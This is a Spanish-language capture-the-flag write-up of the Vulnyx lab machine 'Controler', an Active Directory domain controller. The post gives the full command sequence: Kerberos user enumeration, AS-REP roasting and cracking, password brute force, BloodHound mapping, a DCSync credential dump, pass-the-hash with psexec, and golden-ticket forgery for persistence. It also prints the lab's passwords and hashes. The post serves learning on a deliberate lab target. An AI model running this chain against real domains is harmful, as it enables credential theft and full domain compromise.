Post

Controler, Vulnyx

portada

Herramientas y recursos

Hoy toca windows y pòr el nombre con un Active Directory , maquina Controler plataforma Vulnyx asi que a volverse loco enumerando y dispuesto a aparender y compartir.

Tecnicas Herramientas objetivo
scan de puertos nmap Descubrimiento de servicios expuestos
enumeracio usuarios kerbrute Enumeración de usuarios válidos mediante pre-autenticación de Kerberos
Ataque AS-REP Roasting GetNPUsers.py Obtencios hashes usuarios
Cracking de hashes john Ataque de diccionario contra los hashes obtenidos (Kerberos RC4)
Enumeracion dominio nxc Listado de usuarios, recursos compartidos (shares) y políticas
Recolección de datos AD SharpHound.exe Extracción de objetos y relaciones de confianza del AD para BloodHound.
Análisis de Graph Theory BloodHound / Neo4j Identificación visual de rutas de ataque (Attack Paths) hacia Domain Admins.
Ataque DCSync secretsdump.py Abuso de privilegios GetChangesAll para volcar la base de datos ntds.dit.
Pass-The-Hash (PtH) psexec.py / evil-winrm Autenticación en el sistema usando el hash NTLM del administrador.

Esta es la primera vez que enfrento un Active Directory y me costo un monton de consultas a webs e incluso ia y respecto a la ia no se si se lia mas ella que yo . Van a encontrar cosas que no me llevaron a ningun sitio pero asi se aprende , fracasando y perdiendo tiempo en algun paso pero la verdad es muy curuioso como funciona esta forma de gestionar usuarios , grupos , dominios , maquinas …… a diferncia de otros windows simples que simplemente es local no hay comparacion este puzzle trae mas piezas.Espero que la explicacion les sea algo util.

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre y al ser un awindows con bastantes puertos abiertos tarda un poco.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX controler

reporte

Se puede ver en el reporte que son bastantes pero yo voy a empezar por lo que conozco.En el reporte tambien podemos obtener el dominio del controlador.

dominio

Tiro con enum4linux contra samba.

domainsid

A la vez que estoy haciendo la maquina voy contrastando en internet si sirve para algo lo que yo creo que podria ser interesante. Asi que cosas como las que voy a probar ahora podrian no server pero ando aprendiendo a romper esta windows.

Con enum4linux lo unico que me llamo la atencion el Domain sid asi que busque y vamos a probar a enumerar una tecnica que se llama RID CYCLING , y podemos hacer a uso de un script.py de impacket llamado lookupsid.py y otra herramienta mas viejita rideenum. Con ninguna obtuve resultado pues directamente os pongo lo que lei:

  • Restricciones de anonimato (RestrictAnonymous): Windows tiene una configuración de política de grupo llamada “Network access: Restrict anonymous access to Named Pipes and Shares”. Si esta política está en nivel 2 o superior, el servidor rechaza cualquier solicitud de enumeración que no venga de un usuario autenticado.

  • Deshabilitación de SAMR sobre red: En entornos de AD modernos, los administradores pueden restringir qué cuentas pueden realizar consultas SAMR (Security Account Manager Remote) a través de la red, limitándolo solo a administradores del dominio.

Ya probamos a samba y algo de fuerza bruta sin tener un usuario , debemos encontrar uno y nos falta probrar contra kerberos Debemo recodar que hemos de encontrar un diccionario que contenga lista de las siguiente manera *X.XXXXXXX** yo lo encontre Aqui

1
kerbrute userenum -d control.nyx --dc 192.168.18.44 ~/Documentos/hacking_tools/windows_tools/Dicc_kerbrute/kerberos_enum_userlists/A-Z.Surnames.txt -o valid_ad_users

kerbrute

Estamos de suerte nos encontro *B.LEWIS@control.nyx y dejamos de trabajar a ciegas dado que tambien nos encontro el hash pues no necesita preautenticion, la verdad, es simple kerbrute pregunta con total tranquilidad si el usuario de la lista existe y el server responde con toda la tranquilidad:

  • KDC_ERR_C_PRINCIPAL_UNKNOWN (assets/código 6): El usuario no existe.
  • KDC_ERR_PREAUTH_REQUIRED (assets/código 25): ¡El usuario existe! (Pero requiere una contraseña para seguir).

Pese a ya tener un usuario y un hash vamos a probar GetNPUsers.py que solicita los datos con otro tipo de cifrado asi vemos las diferencias y sabemos de paso que usar si alguno falla.

1
GetNPUsers.py control.nyx/B.LEWIS -no-pass -dc-ip 192.168.18.44

getntusers

Ahora si nos fijamos en las cabeceras por asi decirle vemos las diferencias:

  • EL de kerbrute $krb5asrep$18$ : cifrado AES-256 mas moidernos y duro por asi decirle.
  • El de GetNTUsers de impacket $krb5asrep$23$: RC4-HMAC mas antiguo y mas rapido de crackear

Llegado aqui vamos a tratar de romper el que conseguimos con impacket asi que nos lo preparamos en un fichero y se lo pasamos a john.

Como uno con encriptacion distinta trato de romper los dos a ver si de verdad da el mismo resultado , el primero es el que me dio GetNPUsers y el segundo el de kerbrute

1
john --wordlist=/home/firstatack/Descargas/rockyou.txt lewisgnet

gnetpassw

1
 john --wordlist=/home/firstatack/Descargas/rockyou.txt lewiskerbrutre

kerpass

No se pq pero el obtenido con kerbrute no consegui romperlo , aun asi sigo con el pass quew me dio GetNPUsers que es 101Music

Llegados a este punto tenemos ya usuario y contraseña como la hemos obtenido del DC no sabemos si es login local en la maquina o login para el dominio pero de momento vamos a ver si hay mas usuarios con nxc uso ldap pero creo que con smb nos daria el mismo resultado

1
nxc ldap 192.168.18.44 -u 'B.LEWIS' -p '101Music' --users

usersnxc

En la imagen vemos que hay otro usuario activado j.levy ahora vamos a enumerar tambien con nxc pero esta vez contra el protocolo smb para localizar recursos compartidos.

1
nxc smb 192.168.18.44 -u 'B.LEWIS' -p '101Music' --shares

nxcshare

Ahora se me abren dos caminos la enumeracion de recursos compartidos que nos permiten leer como NETLOGON y SYSVOL y en ninguno de ellos encuentro nada util o que entienda.

1
2
smbclient //192.168.18.44/NETLOGON -U 'CONTROL.NYX/B.LEWIS%101Music'
smbclient //192.168.18.44/SYSVOL -U 'CONTROL.NYX/B.LEWIS%101Music'

Ahi no encuentro nada el unico interesante podria haber sido SYSVOL el cual podria contener ficheros como Groups.xml o Services.xml los cuales podrian tener contraseñas.

Paso a realizar fuerza bruta contra el usuario que nos dio la enumericion de usuarios contra ldap.

1
nxc smb 192.168.18.44 -u 'j.levy' --ignore-pw-decoding -p ~/Descargas/rockyou.txt

passjlevy

Tenemos el password de j.levy:Password1 , paso a enumarar carpetas compartidas de este usuario y tampooco obtengo nada nuevo.

sharesjlevy

Lo que tengo hasta ahora:

  • Kerbrute :usando userenum sin ningun user nos dio usuario B.LEWIS y tambien un hash que no consegui romper.
  • GeNTUsers.py : Me dio el hash valido para B.Lewis por tanto b.lewis:101Music
  • nxc : enumerando con el usuario b.lewis y su pass nos proporciono otro user J.LEVY
  • nxc : haciendo fuerza bruta con el nuevo usuario j.levy nos dio su passwords Password1

Por tanto hacemos login primero con b.lewis y obtenmos su flag y miramos que tipo de administrador es:

  • No consigo el login con b.lewis debe ser algo simi al nologin de linux usario activo pero para otras tareas.
  • Asi que probramos con j.levy el cual si entra.
1
evil-winrm -i 192.168.18.44 -u j.levy -p Password1

Miramos primero que tiene este usuario que rango de administracion tengo para el dominio

1
whoami /priv

privlevy

Puedo estar equivocado pero con el primer permiso de la lista creo que podria crear una maquina en la red con los privilegios que yo quiesiera

Jerarquia dentro del AD

jerarquia

Y asi me doy cuento que tengo una cuenta de mierda y no soy administrator.

noadmin

Escalada

Como somos un usario comun y queremos ser administrador vamos a realizar un ataque Enumeración de Dominio para ello debemos transferir una herramienta Sharphound.exe al windows y ejecutarla , hacemos uso de la terminal con evil-rm.

1
2
upload sharphound.exe
./Sharphound -c All

Al ejecutarlo se nos creara un fichero .zip que debemos descargarnos a nuestra maquina para analizarlo , para esto necesitamos otras dos herramientas que son neo4j y Bluehound Yo estoy con arch y neoj4 pide java asi que me lo configuro con contenedor de docker para no volver loco al sistema.

Dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
FROM neo4j:4.4

# Esto asegura que el servicio arranque siempre
ENV NEO4J_AUTH=neo4j/contraseña123
ENV NEO4J_dbms_default__listen__address=0.0.0.0
ENV NEO4J_dbms_default__advertised__address=0.0.0.0

# Exponemos los puertos
EXPOSE 7474 7687

# El comando que arranca Neo4j automáticamente
CMD ["neo4j", "console"]

Y el bloodhound que me funciono pq probe varios.

Ahora ya con el zip en nuestra maquina primero levanto la imagen de docker que contiene neo4j.

1
docker run -d --network="host" --name neo4j-final neoj4:latest

Hago login con el pass que pusimos en dockerfile y abro tambien el bloodhound y le doy el pass y user de neo4j una vez dentro veremos unos botones a la derecha buscamos el de upload y subimos los ficheros que contiene el zip (al menos en esta version).

Una vez subidos los ficheros empezaremos aver cosas , vamos unos grafos que son un puto lio en ambos programas bloodhound es mas sencilla que neo4j pese a que en ambois podemos ver las relaciones de todo el Active Directory.

Neo4j:

neo4j

Bloodhound:

blood

Ahora se trata de encontrar alguna relacion que nos permita escalar a administrador es mas facil buscar con bloodhound.

He ido clickando hasta que ha aparecido el usuario con el que tengo login y me encuentro con allextendedrighs que me suena a todos los derechos reservados pero al reves.

all

si pincahmos con boton derecho del rato sobre la flecha de allextende rights y vamos al menu help nos dice como explotarlo..

explo

La tecnica de explotacion que vamos a usar se llama DCSync Attack simulamos que somos un controlador de dominio gracias al hallazgo de AllExtendedRights sin esa relacion seria imposible.

Genial ahora desde nuestra terminal ejecutamos secretsdump que es otra de las herramientas de impacket lo cual nos deveria devolver una lista con todos los hashes correspondientes a credenciales de dominio y asi despues hacemos un PASS THE HASH

1
secretsdump.py 'control.nyx'/'j.levy':'Password1'@'control.nyx'

credentialdump

Ahora usamos psexec para conectarnos al administrador tambien podriamos con evil-rm.

1
psexec.py -hashes :48b20d4f3ea31b7234c92b71c90fbff7 CONTROL/Administrator@192.168.18.44

autyhoritysystem

Flags:

user

admin

Despues de muchos caminos sin sentido y muchos datos , demasiados para entender todo a la primera vamos a segir practicando retos en maquinas windows.

TIP EXTRA YA que tenemos la maquina descaragada pruebo a crearme un golden ticket dado que las unicas dos cosas que necesitamos el Domain SID que lo obtuve con enum4linux y el hash de kerberos que lo vaolcamos cuando hicimos el secretsdump y el programa ticketer de impacket. Este ataque lo podriamos usar sobre todo para mantener persistencia , aunque el administrador cambie su password no importa tendria que cambiar dos veces el del usario kerberos que es quien firma los tickets, tambien podria ser util para movimientos laterales entre usuarios …..

  • Lo primero seria crear con ticketer el propio ticket , despues lo exportamos a una variable para que psexec pueda encontralo y luego ejecutamos.
1
2
3
4
5
ticketer.py -nthash b70cca1e5225303104dea9942d31f3a7 \               
-domain-sid S-1-5-21-2142633474-2248127568-3584646925 \
-domain control.nyx \
-duration 1000 \
Administrator

Realizamos el export:

1
export KRB5CCNAME=/home/firstatack/ticket/Administrator.ccache

Y ejecutamos psexec haciendo uso del ticket

1
psexec.py -k -no-pass control.nyx/Administrator@CONTROLER.CONTROL.NYX

clock

Yo me encuentro que un error que hace alusion al reloj , segun lei kerberos es muy rigido con los tiempos y si hay una diferencia de mas de 5minutos el ticket no le sirve. Asi quue vamos a sincronizar horarios y seguimos con el ataque. Detengo el demonio que me sincroniza con ntp y luego le digo a ntp que tomo la hora servidor windows,acordemonos de eliminar el ticket viejo y volver a exportarlo.

1
2
3
4
5
6
7
8
9
sudo timedatectl set-ntp false
rm Administrator.ccache
ticketer.py -nthash b70cca1e5225303104dea9942d31f3a7 \               
-domain-sid S-1-5-21-2142633474-2248127568-3584646925 \
-domain control.nyx \
-duration 1000 \
Administrator
export KRB5CCNAME=/home/firstatack/ticket/Administrator.ccache
psexec.py -k -no-pass control.nyx/Administrator@CONTROLER.CONTROL.NYX

proceso

psexec

De esta otra forma tambien hubiesemos podido acceder si pass the hash hubiese fallado por algun motivo.

Este articulo se me hizo mas largo pero espero lo disfruten y compartan.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.